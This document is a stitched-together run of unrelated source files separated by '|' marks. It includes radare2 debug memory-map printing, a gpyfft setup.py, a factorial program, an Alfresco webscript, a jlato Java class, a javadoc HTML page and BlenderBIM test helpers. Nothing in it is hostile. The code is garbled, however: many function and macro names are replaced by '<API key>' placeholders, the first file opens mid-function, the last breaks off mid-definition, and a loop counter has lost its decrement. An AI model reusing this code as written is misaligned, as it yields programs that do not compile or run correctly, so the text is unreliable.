? r_str_newf ("%s.%s", map->name, r_str_rwx_i (map->perm))
: r_str_newf ("%08" PFMT64x ".%s", map->addr, r_str_rwx_i (map->perm));
r_name_filter (name, 0);
dbg->cb_printf ("f map.%s 0x%08" PFMT64x " 0x%08" PFMT64x "\n",
name, map->addr_end - map->addr + 1, map->addr);
free (name);
}
break;
case 'q': // "dmq"
if (input[1] == '.') { // "dmq."
if (addr >= map->addr && addr < map->addr_end) {
<API key> (dbg, map, addr, input);
}
break;
}
<API key> (dbg, map, addr, input);
break;
case '.':
if (addr >= map->addr && addr < map->addr_end) {
<API key> (dbg, map, addr, input);
}
break;
default:
<API key> (dbg, map, addr, input);
break;
}
}
}
if (input[0] == 'j') { // "dmj" add JSON closing array brace
dbg->cb_printf ("]\n");
}
}
static int cmp(const void *a, const void *b) {
RDebugMap *ma = (RDebugMap*) a;
RDebugMap *mb = (RDebugMap*) b;
return ma->addr - mb->addr;
}
/**
* \brief Find the min and max addresses in an RList of maps.
* \param maps RList of maps that will be searched through
* \param min Pointer to a ut64 that the min will be stored in
* \param max Pointer to a ut64 that the max will be stored in
* \param skip How many maps to skip at the start of iteration
* \param width Divisor for the return value
* \return (max-min)/width
*
* Used to determine the min & max addresses of maps and
* scale the ascii bar to the width of the terminal
*/
static int findMinMax(RList *maps, ut64 *min, ut64 *max, int skip, int width) {
RDebugMap *map;
RListIter *iter;
*min = UT64_MAX;
*max = 0;
r_list_foreach (maps, iter, map) {
if (skip > 0) {
skip
continue;
}
if (map->addr < *min) {
*min = map->addr;
}
if (map->addr_end > *max) {
*max = map->addr_end;
}
}
return (*max - *min) / width;
}
static void <API key>(RDebug *dbg, RList *maps, ut64 addr, int colors) {
ut64 mul; // The amount of address space a single console column will represent in bar graph
ut64 min = -1, max = 0;
int width = r_cons_get_size (NULL) - 90;
RListIter *iter;
RDebugMap *map;
<API key> *pal = &r_cons_singleton ()->context->pal;
if (width < 1) {
width = 30;
}
r_list_sort (maps, cmp);
mul = findMinMax (maps, &min, &max, 0, width);
ut64 last = min;
if (min != -1 && mul != 0) {
const char *color_prefix = ""; // Color escape code prefixed to string (address coloring)
const char *color_suffix = ""; // Color escape code appended to end of string
const char *fmtstr;
char humansz[8]; // Holds the human formatted size string [124K]
int skip = 0; // Number of maps to skip when re-calculating the minmax
r_list_foreach (maps, iter, map) {
r_num_units (humansz, sizeof (humansz), map->size); // Convert map size to human readable string
if (colors) {
color_suffix = Color_RESET;
if ((map->perm & 2) && (map->perm & 1)) { // Writable & Executable
color_prefix = pal->widget_sel;
} else if (map->perm & 2) { // Writable
color_prefix = pal->graph_false;
} else if (map->perm & 1) { // Executable
color_prefix = pal->graph_true;
} else {
color_prefix = "";
color_suffix = "";
}
} else {
color_prefix = "";
color_suffix = "";
}
if ((map->addr - last) > UT32_MAX) { // TODO: Comment what this is for
mul = findMinMax (maps, &min, &max, skip, width); // Recalculate minmax
}
skip++;
fmtstr = dbg->bits & R_SYS_BITS_64 // Prefix formatting string (before bar)
? "map %4.8s %c %s0x%016" PFMT64x "%s |"
: "map %4.8s %c %s0x%08" PFMT64x "%s |";
dbg->cb_printf (fmtstr, humansz,
(addr >= map->addr && \
addr < map->addr_end) ? '*' : '-',
color_prefix, map->addr, color_suffix); // * indicates map is within our current sought offset
int col;
for (col = 0; col < width; col++) { // Iterate over the available width/columns for bar graph
ut64 pos = min + (col * mul); // Current address space to check
ut64 npos = min + ((col + 1) * mul); // Next address space to check
if (map->addr < npos && map->addr_end > pos) {
dbg->cb_printf ("#"); // TODO: Comment what a # represents
} else {
dbg->cb_printf ("-");
}
}
fmtstr = dbg->bits & R_SYS_BITS_64 ? // Suffix formatting string (after bar)
"| %s0x%016" PFMT64x "%s %s %s\n" :
"| %s0x%08" PFMT64x "%s %s %s\n";
dbg->cb_printf (fmtstr, color_prefix, map->addr_end, color_suffix,
r_str_rwx_i (map->perm), map->name);
last = map->addr;
}
}
}
R_API void <API key>(RDebug *dbg, ut64 addr, const char *input, int colors) {
if (dbg) {
int i;
for (i = 0; i < 2; i++) { // Iterate over dbg::maps and dbg::maps_user
RList *maps = (i == 0) ? dbg->maps : dbg->maps_user;
if (maps) {
RListIter *iter;
RDebugMap *map;
if (input[1] == '.') { // "dm=." Only show map overlapping current offset
dbg->cb_printf ("TODO:\n");
r_list_foreach (maps, iter, map) {
if (addr >= map->addr && addr < map->addr_end) {
// <API key> (dbg, map);
}
}
} else { // "dm=" Show all maps with a graph
<API key> (dbg, maps, addr, colors);
}
}
}
}
}
R_API RDebugMap *r_debug_map_new(char *name, ut64 addr, ut64 addr_end, int perm, int user) {
RDebugMap *map;
/* range could be 0k on OpenBSD, it's a honeypot */
if (!name || addr > addr_end) {
eprintf ("r_debug_map_new: error (\
%" PFMT64x ">%" PFMT64x ")\n", addr, addr_end);
return NULL;
}
map = R_NEW0 (RDebugMap);
if (!map) {
return NULL;
}
map->name = strdup (name);
map->addr = addr;
map->addr_end = addr_end;
map->size = addr_end-addr;
map->perm = perm;
map->user = user;
return map;
}
R_API RList *<API key>(RDebug *dbg) {
return (dbg && dbg->h && dbg->h->modules_get)?
dbg->h->modules_get (dbg): NULL;
}
R_API int r_debug_map_sync(RDebug *dbg) {
bool ret = false;
if (dbg && dbg->h && dbg->h->map_get) {
RList *newmaps = dbg->h->map_get (dbg);
if (newmaps) {
r_list_free (dbg->maps);
dbg->maps = newmaps;
ret = true;
}
}
return (int)ret;
}
R_API RDebugMap* r_debug_map_alloc(RDebug *dbg, ut64 addr, int size) {
RDebugMap *map = NULL;
if (dbg && dbg->h && dbg->h->map_alloc) {
map = dbg->h->map_alloc (dbg, addr, size);
}
return map;
}
R_API int r_debug_map_dealloc(RDebug *dbg, RDebugMap *map) {
bool ret = false;
ut64 addr = map->addr;
if (dbg && dbg->h && dbg->h->map_dealloc) {
if (dbg->h->map_dealloc (dbg, addr, map->size)) {
ret = true;
}
}
return (int)ret;
}
R_API RDebugMap *r_debug_map_get(RDebug *dbg, ut64 addr) {
RDebugMap *map, *ret = NULL;
RListIter *iter;
r_list_foreach (dbg->maps, iter, map) {
if (addr >= map->addr && addr <= map->addr_end) {
ret = map;
break;
}
}
return ret;
}
R_API void r_debug_map_free(RDebugMap *map) {
free (map->name);
free (map);
}
R_API RList *<API key>() {
RList *list = r_list_new ();
if (!list) {
return NULL;
}
list->free = (RListFree)r_debug_map_free;
return list;
}
|
// Created file "Lib\src\Uuid\X64\guids"
typedef struct _GUID
{
unsigned long Data1;
unsigned short Data2;
unsigned short Data3;
unsigned char Data4[8];
} GUID;
#define DEFINE_GUID(name, l, w1, w2, b1, b2, b3, b4, b5, b6, b7, b8) \
extern const GUID name = { l, w1, w2, { b1, b2, b3, b4, b5, b6, b7, b8 } }
DEFINE_GUID(<API key>, 0x1d6179a6, 0xa876, 0x4031, 0xb0, 0x13, 0x33, 0x47, 0xb2, 0xb6, 0x4d, 0xc8);
|
<?php
$model = new waModel();
try {
$model->query("SELECT parent_id FROM contacts_view WHERE 0");
$model->exec("ALTER TABLE contacts_view DROP parent_id");
} catch (waException $e) {
}
|
import os
import platform
from setuptools import setup, Extension
from distutils.util import convert_path
from Cython.Build import cythonize
system = platform.system()
## paths settings
# Linux
if 'Linux' in system:
CLFFT_DIR = r'/home/gregor/devel/clFFT'
CLFFT_LIB_DIRS = [r'/usr/local/lib64']
CLFFT_INCL_DIRS = [os.path.join(CLFFT_DIR, 'src', 'include'), ]
CL_INCL_DIRS = ['/opt/AMDAPPSDK-3.0/include']
EXTRA_COMPILE_ARGS = []
EXTRA_LINK_ARGS = []
#Windows
elif 'Windows' in system:
CLFFT_DIR = r'C:\Users\admin\Devel\clFFT-Full-2.12.2-Windows-x64'
CLFFT_LIB_DIRS = [os.path.join(CLFFT_DIR, 'lib64\import')]
CLFFT_INCL_DIRS = [os.path.join(CLFFT_DIR, 'include'), ]
CL_DIR = os.getenv('AMDAPPSDKROOT')
CL_INCL_DIRS = [os.path.join(CL_DIR, 'include')]
EXTRA_COMPILE_ARGS = []
EXTRA_LINK_ARGS = []
# macOS
elif 'Darwin' in system:
CLFFT_DIR = r'/Users/gregor/Devel/clFFT'
CLFFT_LIB_DIRS = [r'/Users/gregor/Devel/clFFT/src/library']
CLFFT_INCL_DIRS = [os.path.join(CLFFT_DIR, 'src', 'include'), ]
CL_INCL_DIRS = []
EXTRA_COMPILE_ARGS = ['-stdlib=libc++']
EXTRA_LINK_ARGS = ['-stdlib=libc++']
import Cython.Compiler.Options
Cython.Compiler.Options.<API key> = 2
extensions = [
Extension("gpyfft.gpyfftlib",
[os.path.join('gpyfft', 'gpyfftlib.pyx')],
include_dirs= CLFFT_INCL_DIRS + CL_INCL_DIRS,
extra_compile_args=EXTRA_COMPILE_ARGS,
extra_link_args=EXTRA_LINK_ARGS,
libraries=['clFFT'],
library_dirs = CLFFT_LIB_DIRS,
language='c++',
)
]
def <API key>():
import shutil
shutil.copy(
os.path.join(CLFFT_DIR, 'bin', 'clFFT.dll'),
'gpyfft')
shutil.copy(
os.path.join(CLFFT_DIR, 'bin', 'StatTimer.dll'),
'gpyfft')
print("copied clFFT.dll, StatTimer.dll")
package_data = {}
if 'Windows' in platform.system():
<API key>()
package_data.update({'gpyfft': ['clFFT.dll', 'StatTimer.dll']},)
def get_version():
main_ns = {}
version_path = convert_path('gpyfft/version.py')
with open(version_path) as version_file:
exec(version_file.read(), main_ns)
version = main_ns['__version__']
return version
def get_readme():
dirname = os.path.dirname(os.path.abspath(__file__))
with open(os.path.join(dirname, "README.md"), "r") as fp:
long_description = fp.read()
return long_description
install_requires = ["numpy", "pyopencl"]
setup_requires = ["numpy", "cython"]
setup(
name='gpyfft',
version=get_version(),
description='A Python wrapper for the OpenCL FFT library clFFT',
long_description=get_readme(),
url=r"https://github.com/geggo/gpyfft",
maintainer='Gregor Thalhammer',
maintainer_email='gregor.thalhammer@gmail.com',
license='LGPL',
packages=['gpyfft', "gpyfft.test"],
ext_modules=cythonize(extensions),
package_data=package_data,
install_requires=install_requires,
setup_requires=setup_requires,
)
|
#include<iostream>
#include<cstdio>
#include<cstring>
#include<cmath>
#include<vector>
#include<algorithm>
#define REP(i,a,b) for(int i=a;i<=b;++i)
#define FOR(i,a,b) for(int i=a;i<b;++i)
#define uREP(i,a,b) for(int i=a;i>=b;--i)
#define ECH(i,x) for(__typeof(x.begin()) i=x.begin();i!=x.end();++i)
#define CPY(a,b) memcpy(a,b,sizeof(a))
#define CLR(a,b) memset(a,b,sizeof(a))
#pragma GCC optimize("O2")
//#pragma comment(linker,"/STACK:36777216")
#define endl '\n'
#define sf scanf
#define pf printf
#define maxn 3000
using namespace std;
struct bign{
int len,v[maxn+2];
bign(){len=0,CLR(v,0);}
void print(){uREP(i,len,1)pf("%d",v[i]);}
bign operator*(int b){
REP(i,1,len)v[i]*=b;
REP(i,1,len){
v[i+1]+=v[i]/10;
v[i]%=10;
if(v[i+1])len=max(len,i+1);
}
return *this;
}
};
int main(){
//freopen("input.txt","r",stdin);
int n;
while(~sf("%d",&n)){
bign ans;
ans.v[1]=ans.len=1;
REP(i,1,n)ans=ans*i;
pf("%d!\n",n);
ans.print();pf("\n");
}
return 0;
}
|
<import resource="classpath:alfresco/site-webscripts/org/alfresco/components/workflow/workflow.lib.js">
var workflowDefinitions = <API key>(),
filters = [];
if (workflowDefinitions)
{
for (var i = 0, il = workflowDefinitions.length; i < il; i++)
{
filters.push(
{
id: "workflowType",
data: workflowDefinitions[i].name,
label: workflowDefinitions[i].title
});
}
}
model.filters = filters;
|
#pragma once
#ifndef <API key>
#define <API key>
#include "Platform/COsString.h"
#include "Platform/stdutil.h"
#define HEARTBEAT "\a"
#define <API key> 3
#define LOGCONFIG_FILE_NAME "LogService.config"
#define DEFAULT_LOG_LENTH 1024
#define LOGCONFIGDIR "LogConfigs/"
#define LOGCONFIGEXTENSION ".config"
#define LOGFILEEXTENSION ".log"
#define DEFAULTLOGDIR "Log/"
#define DEFAULTLOGHOSTNAME "Default"
enum ELogCommand {
<API key>,
<API key>,
<API key>,
<API key>,
};
enum ELogObjType {
E_LOGOBJTYPE_LOGMSG,
<API key>,
E_LOGOBJTYPE_NULL, //2015/2/28 add by wangbin
};
enum ELogServerStatus {
<API key>,
<API key>,
<API key>,
};
enum ELogHostType {
<API key>,
<API key>,
};
inline bool GetLogObjTypeValue(const char *strVal, ELogObjType &val)
{
if (COsString::Compare(strVal, "LOGMSG", true) == 0) {
val = E_LOGOBJTYPE_LOGMSG;
return true;
}
else if (COsString::Compare(strVal, "LOGCONFIG", true) == 0) {
val = <API key>;
return true;
}
else {
return false;
}
}
inline bool GetLogObjTypeString(ELogObjType val, char **strVal)
{
switch (val) {
case E_LOGOBJTYPE_LOGMSG: {
COsString::Copy("LOGMSG", strVal);
return true;
}
case <API key>: {
COsString::Copy("LOGCONFIG", strVal);
return true;
}
case E_LOGOBJTYPE_NULL: {
*strVal = NULL;
return true;
}
default: {
SAFE_DELETEA(*strVal);
return false;
}
}
}
#endif // <API key>
|
/** @private */
vs.util.extend (exports, {
Animation: Animation,
Trajectory: Trajectory,
Vector1D: Vector1D,
Vector2D: Vector2D,
Circular2D: Circular2D,
Pace: Pace,
Chronometer: Chronometer,
<API key>: <API key>,
createTransition: createTransition,
freeTransition: freeTransition,
<API key>: <API key>,
attachTransition: attachTransition,
removeTransition: removeTransition
});
|
package org.jlato.internal.td.decl;
import org.jlato.internal.bu.coll.SNodeList;
import org.jlato.internal.bu.decl.SAnnotationDecl;
import org.jlato.internal.bu.name.SName;
import org.jlato.internal.td.TDLocation;
import org.jlato.internal.td.TDTree;
import org.jlato.tree.Kind;
import org.jlato.tree.NodeList;
import org.jlato.tree.Trees;
import org.jlato.tree.decl.AnnotationDecl;
import org.jlato.tree.decl.ExtendedModifier;
import org.jlato.tree.decl.MemberDecl;
import org.jlato.tree.decl.TypeDecl;
import org.jlato.tree.name.Name;
import org.jlato.util.Mutation;
/**
* An annotation type declaration.
*/
public class TDAnnotationDecl extends TDTree<SAnnotationDecl, TypeDecl, AnnotationDecl> implements AnnotationDecl {
/**
* Returns the kind of this annotation type declaration.
*
* @return the kind of this annotation type declaration.
*/
public Kind kind() {
return Kind.AnnotationDecl;
}
/**
* Creates an annotation type declaration for the specified tree location.
*
* @param location the tree location.
*/
public TDAnnotationDecl(TDLocation<SAnnotationDecl> location) {
super(location);
}
/**
* Creates an annotation type declaration with the specified child trees.
*
* @param modifiers the modifiers child tree.
* @param name the name child tree.
* @param members the members child tree.
*/
public TDAnnotationDecl(NodeList<ExtendedModifier> modifiers, Name name, NodeList<MemberDecl> members) {
super(new TDLocation<SAnnotationDecl>(SAnnotationDecl.make(TDTree.<SNodeList>treeOf(modifiers), TDTree.<SName>treeOf(name), TDTree.<SNodeList>treeOf(members))));
}
/**
* Returns the modifiers of this annotation type declaration.
*
* @return the modifiers of this annotation type declaration.
*/
public NodeList<ExtendedModifier> modifiers() {
return location.safeTraversal(SAnnotationDecl.MODIFIERS);
}
/**
* Replaces the modifiers of this annotation type declaration.
*
* @param modifiers the replacement for the modifiers of this annotation type declaration.
* @return the resulting mutated annotation type declaration.
*/
public AnnotationDecl withModifiers(NodeList<ExtendedModifier> modifiers) {
return location.<API key>(SAnnotationDecl.MODIFIERS, modifiers);
}
/**
* Mutates the modifiers of this annotation type declaration.
*
* @param mutation the mutation to apply to the modifiers of this annotation type declaration.
* @return the resulting mutated annotation type declaration.
*/
public AnnotationDecl withModifiers(Mutation<NodeList<ExtendedModifier>> mutation) {
return location.safeTraversalMutate(SAnnotationDecl.MODIFIERS, mutation);
}
/**
* Returns the name of this annotation type declaration.
*
* @return the name of this annotation type declaration.
*/
public Name name() {
return location.safeTraversal(SAnnotationDecl.NAME);
}
/**
* Replaces the name of this annotation type declaration.
*
* @param name the replacement for the name of this annotation type declaration.
* @return the resulting mutated annotation type declaration.
*/
public AnnotationDecl withName(Name name) {
return location.<API key>(SAnnotationDecl.NAME, name);
}
/**
* Mutates the name of this annotation type declaration.
*
* @param mutation the mutation to apply to the name of this annotation type declaration.
* @return the resulting mutated annotation type declaration.
*/
public AnnotationDecl withName(Mutation<Name> mutation) {
return location.safeTraversalMutate(SAnnotationDecl.NAME, mutation);
}
/**
* Replaces the name of this annotation type declaration.
*
* @param name the replacement for the name of this annotation type declaration.
* @return the resulting mutated annotation type declaration.
*/
public AnnotationDecl withName(String name) {
return location.<API key>(SAnnotationDecl.NAME, Trees.name(name));
}
/**
* Returns the members of this annotation type declaration.
*
* @return the members of this annotation type declaration.
*/
public NodeList<MemberDecl> members() {
return location.safeTraversal(SAnnotationDecl.MEMBERS);
}
/**
* Replaces the members of this annotation type declaration.
*
* @param members the replacement for the members of this annotation type declaration.
* @return the resulting mutated annotation type declaration.
*/
public AnnotationDecl withMembers(NodeList<MemberDecl> members) {
return location.<API key>(SAnnotationDecl.MEMBERS, members);
}
/**
* Mutates the members of this annotation type declaration.
*
* @param mutation the mutation to apply to the members of this annotation type declaration.
* @return the resulting mutated annotation type declaration.
*/
public AnnotationDecl withMembers(Mutation<NodeList<MemberDecl>> mutation) {
return location.safeTraversalMutate(SAnnotationDecl.MEMBERS, mutation);
}
}
|
// This file is part of the go-nebulas library.
// the go-nebulas library is free software: you can redistribute it and/or
// modify
// (at your option) any later version.
// the go-nebulas library is distributed in the hope that it will be useful,
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// along with the go-nebulas library. If not, see
#include "cmd/dummy_neb/generator/<API key>.h"
<API key>::<API key>(all_accounts *accounts,
generate_block *block,
int new_account_num, int tx_num)
: generator_base(accounts, block, new_account_num, tx_num),
m_new_addresses(), <API key>(0) {}
<API key>::~<API key>() {}
std::shared_ptr<corepb::Account> <API key>::gen_account() {
auto ret = m_block->gen_user_account(100_nas);
m_new_addresses.push_back(neb::to_address(ret->address()));
return ret;
}
std::shared_ptr<corepb::Transaction> <API key>::gen_tx() {
auto from_addr =
neb::to_address(m_all_accounts->random_user_account()->address());
address_t to_addr;
if (<API key> < m_new_addresses.size()) {
to_addr = m_new_addresses[<API key>];
<API key>++;
} else {
to_addr = neb::to_address(m_all_accounts->random_user_account()->address());
}
return m_block-><API key>(from_addr, to_addr, 1_nas);
}
checker_tasks::<API key> <API key>::gen_tasks() {
return nullptr;
}
|
<!DOCTYPE HTML PUBLIC "-
<!--NewPage
<HTML>
<HEAD>
<!-- Generated by javadoc (build 1.6.0_26) on Sun Dec 22 15:55:56 GMT 2013 -->
<TITLE>
Uses of Class org.lwjgl.opencl.KHRGLDepthImages (LWJGL API)
</TITLE>
<META NAME="date" CONTENT="2013-12-22">
<LINK REL ="stylesheet" TYPE="text/css" HREF="../../../../stylesheet.css" TITLE="Style">
<SCRIPT type="text/javascript">
function windowTitle()
{
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="Uses of Class org.lwjgl.opencl.KHRGLDepthImages (LWJGL API)";
}
}
</SCRIPT>
<NOSCRIPT>
</NOSCRIPT>
</HEAD>
<BODY BGCOLOR="white" onload="windowTitle();">
<HR>
<A NAME="navbar_top"></A>
<A HREF="#skip-navbar_top" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_top_firstrow"></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../org/lwjgl/opencl/KHRGLDepthImages.html" title="class in org.lwjgl.opencl"><FONT CLASS="NavBarFont1"><B>Class</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Use</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../overview-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
PREV
NEXT</FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../../index.html?org/lwjgl/opencl//<API key>.html" target="_top"><B>FRAMES</B></A>
<A HREF="KHRGLDepthImages.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!
if(window==top) {
document.writeln('<A HREF="../../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_top"></A>
<HR>
<CENTER>
<H2>
<B>Uses of Class<br>org.lwjgl.opencl.KHRGLDepthImages</B></H2>
</CENTER>
No usage of org.lwjgl.opencl.KHRGLDepthImages
<P>
<HR>
<A NAME="navbar_bottom"></A>
<A HREF="#skip-navbar_bottom" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="<API key>"></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../org/lwjgl/opencl/KHRGLDepthImages.html" title="class in org.lwjgl.opencl"><FONT CLASS="NavBarFont1"><B>Class</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Use</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../overview-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
PREV
NEXT</FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../../index.html?org/lwjgl/opencl//<API key>.html" target="_top"><B>FRAMES</B></A>
<A HREF="KHRGLDepthImages.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!
if(window==top) {
document.writeln('<A HREF="../../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_bottom"></A>
<HR>
<i>Copyright &
</BODY>
</HTML>
|
# BlenderBIM Add-on - OpenBIM Blender Add-on
# This file is part of BlenderBIM Add-on.
# BlenderBIM Add-on is free software: you can redistribute it and/or modify
# (at your option) any later version.
# BlenderBIM Add-on is distributed in the hope that it will be useful,
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
import os
import re
import bpy
import pytest
import webbrowser
import blenderbim
import ifcopenshell
import ifcopenshell.util.representation
from blenderbim.bim.ifc import IfcStore
from mathutils import Vector
# Monkey-patch webbrowser opening since we want to test headlessly
webbrowser.open = lambda x: True
variables = {"cwd": os.getcwd(), "ifc": "IfcStore.get_file()"}
class NewFile:
@pytest.fixture(autouse=True)
def setup(self):
IfcStore.purge()
bpy.ops.wm.read_homefile(app_template="")
if bpy.data.objects:
bpy.data.batch_remove(bpy.data.objects)
bpy.ops.outliner.orphans_purge(do_local_ids=True, do_linked_ids=True, do_recursive=True)
blenderbim.bim.handler.<API key>(None)
class NewIfc:
@pytest.fixture(autouse=True)
def setup(self):
IfcStore.purge()
bpy.ops.wm.read_homefile(app_template="")
bpy.data.batch_remove(bpy.data.objects)
bpy.ops.outliner.orphans_purge(do_local_ids=True, do_linked_ids=True, do_recursive=True)
blenderbim.bim.handler.<API key>(None)
bpy.ops.bim.create_project()
def scenario(function):
def subfunction(self):
run(function(self))
return subfunction
def scenario_debug(function):
def subfunction(self):
run_debug(function(self))
return subfunction
def <API key>():
bpy.ops.bim.create_project()
def i_add_a_cube():
bpy.ops.mesh.primitive_cube_add()
def <API key>(size, location):
bpy.ops.mesh.primitive_cube_add(size=float(size), location=[float(co) for co in location.split(",")])
def <API key>(name):
<API key>()
<API key>(name)
def <API key>(name):
obj = bpy.context.scene.objects.get(name)
if not obj:
assert False, 'The object "{name}" could not be selected'
bpy.context.view_layer.objects.active = obj
obj.select_set(True)
def <API key>():
bpy.context.view_layer.objects.active = None
bpy.ops.object.select_all(action="DESELECT")
def <API key>(number):
bpy.context.scene.frame_set(int(number))
def i_set_prop_to_value(prop, value):
try:
eval(f"bpy.context.{prop}")
except:
assert False, "Property does not exist"
try:
exec(f'bpy.context.{prop} = "{value}"')
except:
exec(f"bpy.context.{prop} = {value}")
def prop_is_value(prop, value):
is_value = False
try:
exec(f'assert bpy.context.{prop} == "{value}"')
is_value = True
except:
try:
exec(f"assert bpy.context.{prop} == {value}")
is_value = True
except:
try:
exec(f"assert list(bpy.context.{prop}) == {value}")
is_value = True
except:
pass
if not is_value:
actual_value = eval(f"bpy.context.{prop}")
assert False, f"Value is {actual_value}"
def i_enable_prop(prop):
exec(f"bpy.context.{prop} = True")
def i_press_operator(operator):
if "(" in operator:
exec(f"bpy.ops.{operator}")
else:
exec(f"bpy.ops.{operator}()")
def <API key>(name1, name2):
<API key>(name1).name = name2
def <API key>(name):
obj = bpy.data.objects.get(name)
if not obj:
assert False, f'The object "{name}" does not exist'
return obj
def an_ifc_file_exists():
ifc = IfcStore.get_file()
if not ifc:
assert False, "No IFC file is available"
return ifc
def <API key>():
ifc = IfcStore.get_file()
if ifc:
assert False, "An IFC is available"
def <API key>(name):
assert bpy.data.objects.get(name) is None, "Object exists"
def <API key>(name, ifc_class):
ifc = an_ifc_file_exists()
element = ifc.by_id(<API key>(name).BIMObjectProperties.ifc_definition_id)
assert element.is_a(ifc_class), f'Object "{name}" is an {element.is_a()}'
def <API key>(name):
id = <API key>(name).BIMObjectProperties.ifc_definition_id
assert id == 0, f"The ID is {id}"
def <API key>(name, collection):
assert collection in [c.name for c in <API key>(name).users_collection]
def <API key>(name, collection):
assert collection not in [c.name for c in <API key>(name).users_collection]
def <API key>(name, value):
assert <API key>(name).data.body == value
def <API key>(name1, name2):
assert bpy.data.collections.get(name2).children.get(name1)
def <API key>(name1, name2):
assert not bpy.data.collections.get(name2).children.get(name1)
def <API key>(name, collection):
obj = <API key>(name)
[c.objects.unlink(obj) for c in obj.users_collection]
bpy.data.collections.get(collection).objects.link(obj)
def <API key>(name, type, context):
ifc = an_ifc_file_exists()
element = ifc.by_id(<API key>(name).BIMObjectProperties.ifc_definition_id)
context, subcontext, target_view = context.split("/")
assert ifcopenshell.util.representation.get_representation(
element, context, subcontext or None, target_view or None
)
def <API key>(name, container_name):
ifc = an_ifc_file_exists()
element = ifc.by_id(<API key>(name).BIMObjectProperties.ifc_definition_id)
container = ifcopenshell.util.element.get_container(element)
if not container:
assert False, f'Object "{name}" is not in any container'
assert container.Name == container_name, f'Object "{name}" is in {container}'
def <API key>():
bpy.ops.object.duplicate_move()
blenderbim.bim.handler.<API key>()
def <API key>():
bpy.ops.object.delete()
blenderbim.bim.handler.<API key>()
def <API key>(name1, name2):
ifc = an_ifc_file_exists()
element1 = ifc.by_id(<API key>(name1).BIMObjectProperties.ifc_definition_id)
element2 = ifc.by_id(<API key>(name2).BIMObjectProperties.ifc_definition_id)
assert element1 != element2, f"Objects {name1} and {name2} have same elements {element1} and {element2}"
def <API key>(name, value):
with open(name, "r") as f:
assert value in f.read()
def <API key>(name1, name2):
